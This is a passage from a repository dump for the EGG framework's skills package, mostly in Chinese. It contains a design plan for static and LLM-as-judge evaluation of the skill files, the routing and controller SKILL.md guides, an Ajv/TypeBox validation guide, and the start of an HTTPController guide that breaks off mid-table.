    "content": "# Skills 评测方案设计\n\n## 目标\n\n为 `packages/skills/` 设计一套评测体系，覆盖两个层面：\n\n1. **静态校验** — 验证 Skill 文件的结构正确性、引用完整性\n2. **动态评测** — 用 LLM-as-Judge 评估 AI 基于 Skill 生成回答的质量\n\n全部手动触发运行，不集成 CI。\n\n---\n\n## 目录结构\n\n```\npackages/skills/\n├── egg/\n├── controller/\n├── tegg-core/\n├── eval/                          # 新增：评测目录\n│   ├── static/\n│   │   └── validate.test.ts       # 静态校验测试\n│   ├── dynamic/\n│   │   ├── routing.eval.ts        # 入口路由评测\n│   │   └── quality.eval.ts        # 内容质量评测\n│   ├── fixtures/\n│   │   ├── routing-cases.ts       # 路由测试用例\n│   │   └── quality-cases.ts       # 质量测试用例\n│   └── lib/\n│       ├── skill-loader.ts        # Skill 文件加载器\n│       ├── judge.ts               # LLM-as-Judge 核心逻辑\n│       └── types.ts               # 共享类型定义\n├── vitest.config.ts\n├── package.json\n└── tsconfig.json\n```\n\n---\n\n## 第一部分：静态校验\n\n### 校验项\n\n| 校验项               | 说明                                                          |\n| -------------------- | ------------------------------------------------------------- |\n| **Frontmatter 格式** | 每个 SKILL.md 必须包含 `name`、`description`、`allowed-tools` |\n| **引用文件存在性**   | SKILL.md 中提到的 `references/*.md` 文件必须存在              |\n| **交叉引用一致性**   | 入口 skill 提到的子 skill 目录必须存在且包含 SKILL.md         |\n| **Markdown 结构**    | 标题层级合理（以 `# ` 开头，不跳级）                          |\n| **决策表完整性**     | 入口 skill 的路由表中每个 skill 都有对应目录                  |\n\n### 实现方式\n\n使用 vitest + node:assert 编写测试，通过 Node.js fs API 读取文件并解析：\n\n```typescript\n// eval/static/validate.test.ts\nimport { describe, it } from 'vitest';\nimport assert from 'node:assert/strict';\nimport { loadAllSkills } from '../lib/skill-loader.ts';\n\ndescribe('Skill 静态校验', () => {\n  describe('Frontmatter', () => {\n    it('每个 SKILL.md 包含必填字段: name, description, allowed-tools', ...);\n  });\n\n  describe('引用完整性', () => {\n    it('SKILL.md 中引用的 references/ 文件均存在', ...);\n    it('入口 skill 引用的子 skill 目录均存在', ...);\n  });\n\n  describe('Markdown 结构', () => {\n    it('标题层级不跳级', ...);\n  });\n});\n```\n\n---\n\n## 第二部分：动态评测（LLM-as-Judge）\n\n### 评测维度\n\n动态评测分为两个子场景：\n\n#### 2.1 路由评测 — 入口 Skill 是否正确路由\n\n测试 `egg/SKILL.md` 的决策逻辑：给定用户查询，判断 AI 是否路由到正确的子 skill。\n\n**测试用例结构：**\n\n```typescript\n// eval/fixtures/routing-cases.ts\nexport const routingCases: RoutingCase[] = [\n  {\n    query: '如何创建 HTTP controller？',\n    expectedSkill: 'controller',\n    reason: '明确提到 controller，属于协议实现',\n  },\n  {\n    query: '@SingletonProto 和 @ContextProto 有什么区别？',\n    expectedSkill: 'tegg-core',\n    reason: '关于对象生命周期，属于核心概念',\n  },\n  {\n    query: '我需要创建一个可以被 HTTP 控制器使用的服务',\n    expectedSkill: 'tegg-core',\n    reason: '模糊意图，按规则 1（基础优先）应路由到 core',\n  },\n  // ... 更多用例\n];\n```\n\n**测试实现：**\n\n```typescript\n// eval/dynamic/routing.eval.ts\nimport { describe, it } from 'vitest';\nimport assert from 'node:assert/strict';\nimport Anthropic from '@anthropic-ai/sdk';\nimport { loadSkillContent } from '../lib/skill-loader.ts';\nimport { routingCases } from '../fixtures/routing-cases.ts';\n\nconst client = new Anthropic();\nconst AVAILABLE_SKILLS = ['controller', 'tegg-core'];\n\ndescribe('路由评测', () => {\n  // 加载入口 skill 作为 system prompt\n  const entrySkillContent = loadSkillContent('egg');\n\n  for (const { query, expectedSkill, reason } of routingCases) {\n    it(`\"${query}\" → ${expectedSkill}`, async () => {\n      // 1. 将 SKILL.md 作为 system prompt，发送用户查询\n      const response = await client.messages.create({\n        model: 'claude-sonnet-4-20250514',\n        max_tokens: 1024,\n        system: [\n          entrySkillContent,\n          // 约束输出格式，让 AI 只做路由决策\n          `你是 EGG 框架技能路由器。根据上面的决策指南，分析用户查询并选择应该加载的技能。`,\n          `可选技能: ${AVAILABLE_SKILLS.join(', ')}`,\n          `只输出 JSON: {\"skill\": \"<技能名>\", \"reason\": \"<简要理由>\"}`,\n        ].join('\\n\\n'),\n        messages: [{ role: 'user', content: query }],\n      });\n\n      // 2. 解析 AI 回答中的路由选择\n      const text = response.content[0].type === 'text' ? response.content[0].text : '';\n      const parsed = JSON.parse(text);\n\n      // 3. 断言路由正确性\n      assert.equal(parsed.skill, expectedSkill,\n        `路由错误: 期望 \"${expectedSkill}\" 但得到 \"${parsed.skill}\"` +\n        `\\n  用例理由: ${reason}` +\n        `\\n  AI 理由: ${parsed.reason}`\n      );\n    });\n  }\n});\n```\n\n#### 2.2 内容质量评测 — 子 Skill 回答质量\n\n测试各子 skill 对领域问题的回答质量。\n\n**测试用例结构：**\n\n```typescript\n// eval/fixtures/quality-cases.ts\nexport const qualityCases: QualityCase[] = [\n  {\n    skill: 'controller',\n    query: '如何创建一个 POST 接口接收 JSON body？',\n    criteria: [\n      '使用 @HTTPController 装饰器',\n      '使用 @HTTPMethod 且 method 为 POST',\n      '使用 @HTTPBody() 获取请求体',\n      '包含完整可运行的代码示例',\n    ],\n    references: ['references/http-controller.md'],  // 需要加载的参考文档\n  },\n  {\n    skill: 'tegg-core',\n    query: '如何让一个服务可以被其他模块访问？',\n    criteria: [\n      '提到 AccessLevel.PUBLIC',\n      '使用 @SingletonProto 装饰器',\n      '解释跨模块访问机制',\n    ],\n    references: [],\n  },\n  // ... 更多用例\n];\n```\n\n**测试实现：**\n\n```typescript\n// eval/dynamic/quality.eval.ts\nimport { describe, it } from 'vitest';\nimport assert from 'node:assert/strict';\nimport Anthropic from '@anthropic-ai/sdk';\nimport { loadSkillContent, loadReference } from '../lib/skill-loader.ts';\nimport { qualityCases } from '../fixtures/quality-cases.ts';\nimport { judge } from '../lib/judge.ts';\n\nconst client = new Anthropic();\n\ndescribe('内容质量评测', () => {\n  for (const testCase of qualityCases) {\n    describe(`[${testCase.skill}] ${testCase.query}`, () => {\n      let aiResponse: string;\n\n      // Step 1: 加载 skill 内容作为 system prompt，向被测 LLM 提问\n      it('生成回答', async () => {\n        const skillContent = loadSkillContent(testCase.skill);\n        const refContents = testCase.references\n          .map(ref => loadReference(testCase.skill, ref));\n\n        const systemPrompt = [skillContent, ...refContents].join('\\n\\n---\\n\\n');\n\n        const response = await client.messages.create({\n          model: 'claude-sonnet-4-20250514',\n          max_tokens: 2048,\n          system: systemPrompt,\n          messages: [{ role: 'user', content: testCase.query }],\n        });\n\n        aiResponse = response.content[0].type === 'text' ? response.content[0].text : '';\n        assert.ok(aiResponse.length > 0, 'AI 应该返回非空回答');\n      });\n\n      // Step 2: 用 Judge LLM 对回答逐项评分\n      it('通过质量评审', async () => {\n        const result = await judge(client, {\n          query: testCase.query,\n          response: aiResponse,\n          criteria: testCase.criteria,\n        });\n\n        // 输出详细评分到 console 供人工查看\n        console.log(`    得分: ${result.totalScore} (${result.passed}/${result.total})`);\n        for (const item of result.details) {\n          const icon = item.score === 1 ? '✓' : '✗';\n          console.log(`      ${icon} ${item.criterion}: ${item.reason}`);\n        }\n\n        // 断言：所有 criteria 都应满足\n        assert.ok(result.totalScore >= 0.8,\n          `质量不达标: ${result.totalScore} < 0.8\\n` +\n          result.details\n            .filter(d => d.score === 0)\n            .map(d => `  ✗ ${d.criterion}: ${d.reason}`)\n            .join('\\n')\n        );\n      });\n    });\n  }\n});\n```\n\n### LLM-as-Judge 实现\n\n```typescript\n// eval/lib/judge.ts\nimport type Anthropic from '@anthropic-ai/sdk';\nimport type { JudgeInput, JudgeResult, JudgeDetail } from './types.ts';\n\nexport async function judge(\n  client: Anthropic,\n  input: JudgeInput,\n): Promise<JudgeResult> {\n  const criteriaList = input.criteria\n    .map((c, i) => `${i + 1}. ${c}`)\n    .join('\\n');\n\n  const response = await client.messages.create({\n    model: 'claude-sonnet-4-20250514',\n    max_tokens: 1024,\n    system: '你是 AI 回答质量评估专家。严格按照 JSON 格式输出评分结果。',\n    messages: [{\n      role: 'user',\n      content: `请根据评分标准，对以下 AI 回答逐项评分。\n\n## 评分标准\n${criteriaList}\n\n## 用户问题\n${input.query}\n\n## AI 回答\n${input.response}\n\n## 输出格式（严格 JSON）\n{\n  \"details\": [\n    { \"criterion\": \"标准内容\", \"score\": 0 或 1, \"reason\": \"简要理由\" }\n  ]\n}`,\n    }],\n  });\n\n  const text = response.content[0].type === 'text' ? response.content[0].text : '';\n  const parsed = JSON.parse(text);\n  const details: JudgeDetail[] = parsed.details;\n  const passed = details.filter(d => d.score === 1).length;\n\n  return {\n    details,\n    passed,\n    total: details.length,\n    totalScore: passed / details.length,\n  };\n}\n```\n\n### 评测报告\n\n运行评测后生成 JSON 报告：\n\n```json\n{\n  \"timestamp\": \"2026-02-05T10:00:00Z\",\n  \"routing\": {\n    \"total\": 10,\n    \"correct\": 9,\n    \"accuracy\": 0.9,\n    \"failures\": [\n      {\n        \"query\": \"...\",\n        \"expected\": \"tegg-core\",\n        \"actual\": \"controller\",\n        \"reason\": \"...\"\n      }\n    ]\n  },\n  \"quality\": {\n    \"controller\": {\n      \"cases\": 5,\n      \"avg_score\": 0.85,\n      \"details\": [...]\n    },\n    \"tegg-core\": {\n      \"cases\": 5,\n      \"avg_score\": 0.90,\n      \"details\": [...]\n    }\n  }\n}\n```\n\n---\n\n## 第三部分：技术选型与依赖\n\n| 组件                  | 选型               | 理由                           |\n| --------------------- | ------------------ | ------------------------------ |\n| 测试框架              | vitest             | 遵循 monorepo 标准             |\n| 断言库                | node:assert/strict | Node.js 内置，零依赖           |\n| YAML frontmatter 解析 | gray-matter        | 成熟的 frontmatter 解析库      |\n| LLM 调用              | @anthropic-ai/sdk  | 使用 Claude API 做评测和 Judge |\n| 报告输出              | JSON 文件          | 简单可读，方便后续扩展为可视化 |\n\n### package.json scripts\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"vitest run --config vitest.config.ts eval/static/\",\n    \"eval\": \"vitest run --config vitest.config.ts eval/dynamic/\",\n    \"eval:routing\": \"vitest run --config vitest.config.ts eval/dynamic/routing.eval.ts\",\n    \"eval:quality\": \"vitest run --config vitest.config.ts eval/dynamic/quality.eval.ts\"\n  }\n}\n```\n\n- `test` — 运行静态校验（快速，无 API 调用）\n- `eval` — 运行全部动态评测\n- `eval:routing` — 仅运行路由评测\n- `eval:quality` — 仅运行内容质量评测\n\n动态评测需设置 `ANTHROPIC_API_KEY` 环境变量。\n\n---\n\n## 实施步骤\n\n1. 在 worktree (`egg-skills-eval`) 中添加依赖：vitest、gray-matter、@anthropic-ai/sdk\n2. 添加 `vitest.config.ts` 和更新 `package.json` scripts\n3. 创建 `eval/lib/` 基础工具：skill-loader、types、judge\n4. 实现 `eval/static/validate.test.ts` 静态校验\n5. 编写路由测试用例 `eval/fixtures/routing-cases.ts`\n6. 实现 `eval/dynamic/routing.eval.ts` 路由评测\n7. 编写质量测试用例 `eval/fixtures/quality-cases.ts`\n8. 实现 `eval/dynamic/quality.eval.ts` 内容质量评测\n"
  },
  {
    "path": "packages/skills/README.md",
    "content": "# @eggjs/skills\n"
  },
  {
    "path": "packages/skills/egg/SKILL.md",
    "content": "---\nname: egg\ndescription: 本技能用于处理 EGG 框架。它提供基于用户意图在核心概念和控制器之间做选择的决策指导。作为所有 EGG 相关问题的入口点使用。覆盖模块架构、依赖注入、后台任务、EventBus 事件总线、AOP 切面编程、HTTP/MCP/Schedule 控制器、Ajv 参数校验等。\nallowed-tools: Read\n---\n\n# EGG 决策指南\n\n## 概述\n\n本技能帮助根据用户意图和任务类型确定使用哪个专用的 EGG 技能。EGG 文档组织为两个主要领域：\n\n1. **核心概念**（`egg-core` skill）：模块架构、依赖注入、对象生命周期、EventBus 事件总线、AOP 切面编程\n2. **控制器**（`egg-controller` skill）：用于 API 端点的各种协议特定控制器\n\n## 技能选择逻辑\n\n### 使用 `egg-core` skill 当用户询问：\n\n**用户询问关于：**\n\n- 模块架构和组织\n- `@SingletonProto` vs `@ContextProto` 的使用\n- 使用 `@Inject` 的依赖注入\n- 对象生命周期和实例化\n- 模块之间的访问控制（`AccessLevel`）\n- 模块配置（`module.yml`、`package.json`）\n- 使用限定符解决命名冲突\n- 请求返回后执行异步任务（BackgroundTaskHelper）\n- 事件驱动架构（EventBus、@Event）\n- AOP 切面编程（@Advice、@Pointcut、@Crosscut）\n\n**触发关键词：**\n\n- module、workspace、modules\n- singleton、单例、@SingletonProto\n- context、request context、@ContextProto\n- inject、injection、dependency injection、@Inject\n- prototype、lifecycle、实例化\n- background task、异步任务、后台任务、BackgroundTaskHelper\n- eventbus、event bus、事件总线、事件驱动、@Event、emit、发布订阅、解耦\n- aop、切面、aspect、advice、pointcut、crosscut、拦截器、横切关注点\n- access level、private、public、@ModuleQualifier\n- configuration、module config\n\n**示例查询：**\n\n- \"如何在 EGG 中创建模块？\"\n- \"SingletonProto 和 ContextProto 有什么区别？\"\n- \"如何注入服务？\"\n- \"如何访问其他模块的对象？\"\n- \"EGG 中的 AccessLevel 是什么？\"\n- \"如何用 EventBus 解耦异步任务？\"\n- \"EventBus 和 BackgroundTaskHelper 有什么区别？\"\n- \"如何用 AOP 给所有 Service 加日志？\"\n\n### 使用 `egg-controller` skill 当用户询问：\n\n**用户询问关于：**\n\n- 创建 API 端点或接口\n- 实现特定协议处理器（HTTP、MCP 等）\n- 连接到外部系统或客户端\n- 处理传入的请求/响应\n- 控制器级别的装饰器和模式\n- 参数校验（Ajv + TypeBox）\n\n**触发关键词：**\n\n- controller、控制器\n- HTTP、API、REST、endpoint\n- MCP、LLM、AI、tool\n- schedule、timer、cron、scheduled、定时\n- SSE、streaming、server-sent events\n- validate、校验、参数校验、ajv、typebox、schema\n\n**示例查询：**\n\n- \"如何创建 HTTP controller？\"\n- \"如何实现 MCP 接口？\"\n- \"怎么实现定时任务？\"\n- \"帮我给接口加上参数校验\"\n\n---\n\n## 决策框架\n\n### 步骤 1：识别意图类型\n\n询问：**用户是在询问构建块/框架内部 OR 实现特定接口？**\n\n**构建块/框架内部** → 使用 `egg-core` skill\n\n- 理解 EGG 如何工作\n- 组织代码结构\n- 管理对象生命周期\n- 设置模块\n\n**实现特定接口** → 使用 `egg-controller` skill\n\n- 创建 API/端点\n- 处理不同协议\n- 处理请求/响应\n\n### 步骤 2：检查模糊意图\n\n如果用户的意图可能是核心 OR 控制器（例如，\"如何实现一个需要跨模块访问的服务？\"）：\n\n**决策优先级**：核心概念优先\n\n理由：即使服务将在控制器中使用，关于跨模块访问（`AccessLevel`）的基本问题是一个核心概念。一旦理解了核心结构，用户就可以在控制器中应用它。\n\n**行动**：\n\n1. 使用 `egg-core` skill\n2. 解释概念（例如，`AccessLevel.PUBLIC`）\n3. 核心解释后，建议：\"如果你需要在特定控制器中使用它，请使用 `egg-controller` skill\n\n### 步骤 3：协议/用例特定指示器\n\n| 协议/用例               | 主要技能         | 次要技能 |\n| ----------------------- | ---------------- | -------- |\n| HTTP API                | `egg-controller` | -        |\n| MCP                     | `egg-controller` | -        |\n| Scheduled Tasks         | `egg-controller` | -        |\n| Parameter validation    | `egg-controller` | -        |\n| Background tasks        | `egg-core`       | -        |\n| Event-driven / EventBus | `egg-core`       | -        |\n| AOP / 切面编程          | `egg-core`       | -        |\n| Cross-module injection  | `egg-core`       | -        |\n| Module structure        | `egg-core`       | -        |\n| Object lifecycle        | `egg-core`       | -        |\n\n## 冲突解决规则\n\n### 规则 1：基础优先\n\n当问题同时涉及核心概念 AND 控制器实现时：\n\n- **示例**：\"如何实现一个 HTTP 控制器可以使用的单例服务？\"\n- **决策**：从 `egg-core` skill 开始解释 SingletonProto 和 AccessLevel\n- **后续**：\"现在你理解了服务定义，使用 `egg-controller` skill 实现注入此服务的 HTTP 控制器。\"\n\n### 规则 2：显式覆盖\n\n如果用户明确提及特定控制器类型：\n\n- **示例**：\"如何使用 HTTPController 配合 ContextProto 服务？\"\n- **决策**：使用 `egg-controller` skill（HTTPController 是显式的）\n- **后续**：解释 HTTPController 实现，如果需要简要提及来自核心概念的 ContextProto\n\n### 规则 3：学习语境\n\n如果用户问\"什么是 X？\"或\"Y 如何工作？\"：\n\n- **核心概念问题** → 使用 `egg-core` skill\n- **控制器类型问题** → 使用 `egg-controller` skill\n- **一般 EGG 问题** → 使用本技能的决策框架\n\n如果用户问\"如何实现 X？\"或\"给我看 Y 的代码？\"：\n\n- **实现特定问题** → 根据决策框架加载特定 skill\n\n## 快速参考表\n\n| 用户意图             | 关键词                                | 使用技能               |\n| -------------------- | ------------------------------------- | ---------------------- |\n| Module architecture  | module、workspace、organization       | `egg-core` skill       |\n| Object lifecycle     | singleton、context、lifecycle         | `egg-core` skill       |\n| Dependency injection | inject、@Inject、dependency           | `egg-core` skill       |\n| Access control       | private、public、cross-module         | `egg-core` skill       |\n| Background tasks     | background task、异步任务、后台任务   | `egg-core` skill       |\n| Event-driven         | eventbus、事件总线、@Event、emit      | `egg-core` skill       |\n| AOP 切面编程         | aop、切面、advice、pointcut、crosscut | `egg-core` skill       |\n| HTTP endpoints       | HTTP、API、REST                       | `egg-controller` skill |\n| LLM/AI integration   | MCP、tool、prompt                     | `egg-controller` skill |\n| Scheduling           | schedule、cron、timer                 | `egg-controller` skill |\n| Param validation     | validate、校验、ajv、typebox、schema  | `egg-controller` skill |\n\n---\n\n## 示例\n\n### 示例 1：明确的核心意图\n\n**用户**：\"@SingletonProto 和 @ContextProto 有什么区别？\"\n\n**分析**：问题关于核心装饰器和对象生命周期\n**决策**：使用 `egg-core` skill\n\n**用户**：\"如何在 EGG 中创建模块？\"\n\n**分析**：问题关于模块架构（核心概念）\n**决策**：使用 `egg-core` skill\n\n### 示例 2：明确的控制器意图\n\n**用户**：\"如何创建返回 JSON 的 HTTP controller？\"\n\n**分析**：问题关于实现特定协议（HTTP）\n**决策**：使用 `egg-controller` skill\n\n### 示例 3：模糊意图（核心 > 控制器）\n\n**用户**：\"我需要创建一个可以被 HTTP 控制器使用的服务。如何实现？\"\n\n**分析**：用户需要理解核心概念（跨模块访问）AND 控制器实现\n**决策**：首先使用 `egg-core` skill（基础）\n\n**响应**：\n\n1. 解释 `@SingletonProto` 配合 `AccessLevel.PUBLIC` 使服务可访问\n2. 展示如何注入服务：`@Inject() myService: MyService`\n3. 后续：\"现在你可以在 HTTPController 中注入此服务。实现详情请使用 `egg-controller` skill。\"\n\n### 示例 4：显式控制器加上核心知识\n\n**用户**：\"如何在 HTTPController 中使用 @Inject 访问用户服务？\"\n\n**分析**：用户明确提及 HTTPController（控制器类型）但询问 @Inject（核心概念）\n**决策**：使用 `egg-controller` skill（HTTPController 是明确意图）\n\n**响应**：\n\n1. 展示配合 `@Inject` 的 HTTPController 实现\n2. 简要解释 @Inject 如何工作（核心概念摘要）\n3. 注意：\"包含限定符的详细 @Inject 使用，请使用 `egg-core` skill\"\n\n## 路由最佳实践\n\n1. **优先考虑显式控制器提及**：如果用户命名特定控制器（HTTP），即使涉及核心概念也使用控制器技能\n\n2. **基础先行**：如果实现前需要理解核心概念，先解释核心概念\n\n3. **简短上下文可以接受**：当路由到一个技能时，提及另一个技能的存在以供后续问题\n\n4. **混合响应可接受**：当意图真正混合时，提供两个技能的简短上下文但专注于主要意图\n\n5. **渐进式披露**：除非明确要求，不要同时加载两个技能。让用户引导探索\n\n---\n\n## 技能交互\n\n本技能（`egg` skill）应该：\n\n- 为框架内部概念路由到 `egg-core` skill\n- 为协议特定实现路由到 `egg-controller` skill\n- 当意图模糊时提供决策指导\n- 当存在有用的上下文时交叉引用技能\n"
  },
  {
    "path": "packages/skills/egg-controller/SKILL.md",
    "content": "---\nname: egg-controller\ndescription: Use when creating API endpoints, implementing protocol handlers, exposing interfaces for specific clients, or adding parameter validation. Covers HTTP, MCP and Schedule controllers, and Ajv/TypeBox parameter validation for EGG framework applications.\nallowed-tools: Read\n---\n\n# EGG 控制器\n\n---\n\n## 控制器选择决策树\n\n```\n需要暴露什么接口/客户端协议？\n\n1. HTTP 接口？例如 HTML/JSON/SSR/SSE，可以使用 HTTPController，参考 `references/http-controller.md`\n\n2. 定时任务，可以使用 Schedule，参考 `references/schedule.md`\n\n3. MCP 接口，可以使用 MCPController，参考 `references/mcp-controller.md`\n\n需要做参数校验？\n\n4. 使用 Ajv + TypeBox 做入参校验，参考 `references/ajv-validate.md`\n```\n\n---\n\n## 控制器快速参考\n\n### HTTPController\n\n- **装饰器**：`@HTTPController`、`@HTTPMethod`\n- **参数**：`@HTTPParam`、`@HTTPQuery`、`@HTTPBody`、`@HTTPHeaders`、`@Cookies`、`@Request`、`@Context`\n- **详细文档**：`references/http-controller.md`\n\n### MCPController\n\n- **装饰器**：`@MCPController`、`@MCPTool`、`@MCPPrompt`、`@MCPResource`\n- **特点**：集成 LLM、Zod 验证、登录态支持\n- **详细文档**：`references/mcp-controller.md`\n\n### Schedule\n\n- **装饰器**：`@Schedule<T>`\n- **模式**：Worker/All\n- **详细文档**：`references/schedule.md`\n\n### Ajv 参数校验\n\n- **导入**：`import { Ajv, Type, Static } from 'egg/ajv'`\n- **方式**：`@Inject() ajv: Ajv`，调用 `ajv.validate(schema, data)`\n- **特点**：TypeBox 定义一次 Schema，同时获得校验和 TypeScript 类型\n- **详细文档**：`references/ajv-validate.md`\n\n---\n\n## 常见问题排查\n\n| 现象                   | 原因                       | 解决方案                                                           |\n| ---------------------- | -------------------------- | ------------------------------------------------------------------ |\n| MCP 装饰器 import 报错 | 从 `'egg'` 导入            | MCP 装饰器从 `'@eggjs/tegg'` 导入，zod 从 `'@eggjs/tegg/zod'` 导入 |\n| MCP Schema 报错        | 用了 `z.object()` 包装     | 直接用普通对象 `{ name: z.string() }`                              |\n| 定时任务不生效         | 放在 `app/schedule` 目录   | 放在模块目录中，避免和 egg 默认扫描冲突                            |\n| Ajv 校验 import 报错   | 从 `typebox` 或 `ajv` 导入 | 统一从 `'egg/ajv'` 导入 Type、Static、Ajv 等                       |\n| type 推导不完整        | 用 `type` 定义             | 用 `interface Foo extends Static<typeof Schema> {}` 代替           |\n\n---\n\n## 最佳实践\n\n- **控制器精简**：业务逻辑委托给 Service 层\n- **参数验证**：使用装饰器和类型定义\n- **错误处理**：根据协议转换错误和响应码\n- **RESTful 设计**：遵循 HTTP 方法和资源命名\n- **响应一致性**：统一响应格式\n\n---\n\n## 参考资料\n\n详细的控制器开发文档：\n\n- `references/http-controller.md` - HTTP 接口完整指南\n- `references/mcp-controller.md` - MCP 接口开发\n- `references/schedule.md` - 定时任务\n- `references/ajv-validate.md` - Ajv 参数校验\n\n核心概念（`egg-core` skill）：模块、依赖注入、对象生命周期\n"
  },
  {
    "path": "packages/skills/egg-controller/references/ajv-validate.md",
    "content": "# Ajv 参数校验指南\n\n## 常见错误\n\n| 错误写法                         | 正确写法                          | 说明                                           |\n| -------------------------------- | --------------------------------- | ---------------------------------------------- |\n| `import { Type } from 'typebox'` | `import { Type } from 'egg/ajv'`  | 必须从 `egg/ajv` 导入，内部已封装 typebox      |\n| `import { Ajv } from 'ajv'`      | `import { Ajv } from 'egg/ajv'`   | Ajv 实例通过 `egg/ajv` 导出                    |\n| `new Ajv()` 手动创建实例         | `@Inject() ajv: Ajv` 注入全局单例 | 框架已配置好 formats 和 keywords，不要自行创建 |\n| 在 Service 中做参数校验          | 在 Controller 中做参数校验        | 入参校验应在 Controller 层完成                 |\n\n---\n\n## 核心概念\n\nEgg 通过 `@eggjs/typebox-validate` 插件集成 Ajv（JSON Schema 校验库）和 TypeBox（TypeScript-first 的 JSON Schema 构建器）。**定义一次 Schema，同时获得参数校验和 TypeScript 类型推导。**\n\n### 导入路径\n\n```typescript\n// 所有 Ajv/TypeBox 相关导入统一从 egg/ajv\nimport { Ajv, Type, Static, TransformEnum } from 'egg/ajv';\n```\n\n---\n\n## 使用方式\n\n通过 `@Inject()` 注入全局 Ajv 单例，在 Controller 方法中调用 `ajv.validate()` 进行校验。\n\n### 完整示例\n\n```typescript\n// app/userModule/UserController.ts\nimport {\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPBody,\n  Inject,\n} from 'egg';\nimport { Ajv, Type, Static, TransformEnum } from 'egg/ajv';\n\n// 1. 定义 Schema\nconst CreateUserSchema = Type.Object({\n  name: Type.String({\n    transform: [TransformEnum.trim],\n    minLength: 1,\n    maxLength: 50,\n  }),\n  email: Type.String({ format: 'email' }),\n  age: Type.Optional(Type.Integer({ minimum: 0, maximum: 150 })),\n});\n\n// 2. 从 Schema 推导类型\ntype CreateUserParams = Static<typeof CreateUserSchema>;\n\n// 3. 在 Controller 中注入 Ajv 并校验\n@HTTPController()\nexport class UserController {\n  @Inject()\n  private readonly ajv: Ajv;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/api/users',\n  })\n  async create(@HTTPBody() body: CreateUserParams) {\n    // 校验失败自动抛出 AjvInvalidParamError\n    this.ajv.validate(CreateUserSchema, body);\n\n    // 校验通过，body 已经有完整类型提示\n    return { name: body.name, email: body.email };\n  }\n}\n```\n\n---\n\n## Schema 定义\n\n### 常用类型\n\n```typescript\nimport { Type } from 'egg/ajv';\n\nType.String()                                      // string\nType.Number()                                      // number\nType.Integer()                                     // 整数\nType.Boolean()                                     // boolean\nType.Optional(Type.String())                       // string | undefined\nType.Array(Type.String())                          // string[]\nType.Object({ name: Type.String() })               // { name: string }\nType.Union([Type.String(), Type.Number()])          // string | number\nType.Literal('admin')                              // 'admin'\n```\n\n完整的 TypeBox JSON Schema 类型定义参考：https://github.com/sinclairzx81/typebox#json-types\n\n### 内置 format 校验\n\n框架通过 `ajv-formats` 预注册了以下格式：\n\n| format      | 说明       | 示例                                   |\n| ----------- | ---------- | -------------------------------------- |\n| `email`     | 邮箱       | `user@example.com`                     |\n| `uri`       | URI        | `https://example.com`                  |\n| `uuid`      | UUID       | `550e8400-e29b-41d4-a716-446655440000` |\n| `date`      | 日期       | `2024-01-01`                           |\n| `date-time` | 日期时间   | `2024-01-01T00:00:00Z`                 |\n| `time`      | 时间       | `12:00:00`                             |\n| `ipv4`      | IPv4       | `192.168.1.1`                          |\n| `ipv6`      | IPv6       | `::1`                                  |\n| `hostname`  | 主机名     | `example.com`                          |\n| `regex`     | 正则表达式 | `^\\\\d+$`                               |\n\n```typescript\nType.String({ format: 'email' })\nType.String({ format: 'uuid' })\nType.String({ format: 'date-time' })\n```\n\n### transform 预处理\n\n通过 `ajv-keywords` 的 `transform` 关键字，在校验前对字符串做预处理：\n\n```typescript\nimport { TransformEnum } from 'egg/ajv';\n\nType.String({\n  transform: [TransformEnum.trim],               // 去除首尾空格\n})\n\nType.String({\n  transform: [TransformEnum.trim, TransformEnum.toLowerCase],  // 去空格 + 转小写\n})\n```\n\n---\n\n## 最佳实践\n\n- **Schema 与 Controller 同文件** — Schema 定义放在使用它的 Controller 文件中，保持就近原则\n- **校验在 Controller 层** — 不要在 Service 层做入参校验，Service 信任上层传入的数据\n- **善用 Optional** — 非必填字段用 `Type.Optional()` 包装，避免前端遗漏字段导致校验失败\n- **善用 transform** — 对用户输入做 trim 预处理，减少脏数据\n"
  },
  {
    "path": "packages/skills/egg-controller/references/http-controller.md",
    "content": "# HTTPController 开发指南\n\n## 快速开始\n\n### 创建基本 HTTP 接口\n\n使用 `@HTTPController` 和 `@HTTPMethod` 装饰器创建 HTTP 接口：\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';\n\n@HTTPController()\nexport class DemoController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/hello/:name' })\n  async hello(@HTTPParam() name: string) {\n    return { message: 'hello ' + name };\n  }\n}\n```\n\n### 设置路径前缀\n\n为控制器设置统一路径前缀：\n\n```typescript\n@HTTPController({ path: '/api' })\nexport class PathController {\n  // 最终路径: GET /api/hello\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: 'hello' })\n  async hello() { }\n\n  // 最终路径: POST /api/create\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: 'create' })\n  async create() { }\n}\n```\n\n---\n\n## 参数装饰器决策\n\n### 决策树：选择合适的参数装饰器\n\n```\n需要从 HTTP 请求获取什么信息？\n\n├─ URL 路径参数\n│  └─ → @HTTPParam()\n│\n├─ URL 查询参数\n│  ├─ 单个值 → @HTTPQuery()\n│  └─ 多个值（数组） → @HTTPQueries()\n│\n├─ 请求体（POST/PUT）\n│  └─ → @HTTPBody()\n│     ├─ json → 对象\n│     ├─ text → 字符串\n│\n├─ 请求头\n│  └─ → @HTTPHeaders()\n│     └─ 注意：key 自动转小写\n│\n├─ Cookie\n│  └─ → @Cookies()\n│\n├─ 原始 HTTP 请求对象\n│  └─ → @Request()\n│     └─ 注意：不要和 @HTTPBody 一起消费请求体\n│\n└─ Egg Context（框架功能）\n   └─ → @Context()\n```\n\n### 参考对照表（参数装饰器）\n\n| 装饰器           | 获取内容         | 类型                  | 默认值 | 支持选项            |\n| ---------------- | ---------------- | --------------------- | ------ | ------------------- |\n| `@HTTPParam()`   | URL 路径参数     | `string`              | 变量名 | `{ name?: string }` |\n| `@HTTPQuery()`   | 查询参数（单个） | `string`              | 变量名 | `{ name?: string }` |\n| `@HTTPQueries()` | 查询参数（多个） | `string[]`            | 变量名 | `{ name?: string }` |\n| `@HTTPBody()`    | 请求体           | `object \\| string`    | -      | -                   |\n| `@HTTPHeaders()` | 请求头           | `IncomingHttpHeaders` | -      | -                   |\n| `@Cookies()`     | Cookie           | `HTTPCookies`         | -      | -                   |\n| `@Request()`     | HTTP 请求对象    | `HTTPRequest`         | -      | -                   |\n| `@Context()`     | Egg Context      | `EggContext`          